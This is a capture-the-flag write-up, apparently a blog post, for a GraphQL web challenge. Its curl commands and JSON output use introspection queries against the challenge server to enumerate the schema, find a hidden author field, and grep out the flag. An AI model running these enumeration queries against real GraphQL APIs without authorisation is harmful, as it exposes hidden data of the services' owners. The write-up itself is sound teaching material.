This post is a writeup of'funny-blogger' challenge fromCyberedu Warm-up CTF #1
Once you access the challenge web page, you can find a jQuery script to fetch blog posts.
vararr=document.URL.match(/article=([0-9]+)/)vararticle=arr[1];if(article>=0){console.log(article);varrequest=$.ajax({method:"POST",dataType:"json",url:"/query",contentType:"application/x-www-form-urlencoded",data:"query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",success:function(response){document.getElementById("title").innerHTML=response.data.allPosts.edges[article].node.title;document.getElementById("content").innerHTML=response.data.allPosts.edges[article].node.body;}})
When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.
{"query":"{allPosts{edges{node{title\nbody}}}}"}
Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post viaquery
end point and then show only the post that the article parameter is pointing, like/article=1
. #classicGraphQL
And here is thecurl
request to get all posts (ornode
s).
$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq'.data.allPosts.edges[0:2]'[{"node":{"title":"Day #0 of happines!","body":"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."}},{"node":{"title":"Day #1 of happines!","body":"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."}}]
There are 800 posts (article=0
througharticle=799
) with the same format fortitle
s and the same contents forbody
s and there is obviously no sign of flag from a normal request.
I jumped to check theIntrospection of GraphQL query [1][2], because why not, with a hope of there being something innode
object other thantitle
andbody
which "hopefully" will give me the flag. And here are the steps that I took toward the flag.
Step 1. Checking alltype
s from__schema
gives a name to checkPostObject
{"query":"{__schema{types{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
Step 2. Checking allfields
s fromPostObject
type gives a list offiled
names.
{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}
Step 3.id
andauthorID
do not dive anything special astitle
andbody
did. But I found thatauthor
is another type,UserObject
, which looks interesting, again because why not.
Step 4. Checking allfields
s fromUserObject
type gives an interesting field calledrandomStr1ngtoInduc3P4in
{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}
Step 5.randomStr1ngtoInduc3P4in
gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.
{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq'.data.allPosts.edges[0:2]'[{"node":{"author":{"randomStr1ngtoInduc3P4in":"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"}}},{"node":{"author":{"randomStr1ngtoInduc3P4in":"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"}}}]
Step 6. Found the flag withgrep
$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq'.data.allPosts.edges' |grep-E-o'ECSC{.*}' |grep-v'harder'ECSC{b8e9be2eb35748a0aa...}
[1]https://graphql.org/learn/introspection/
[2]https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/
Top comments(0)
For further actions, you may consider blocking this person and/orreporting abuse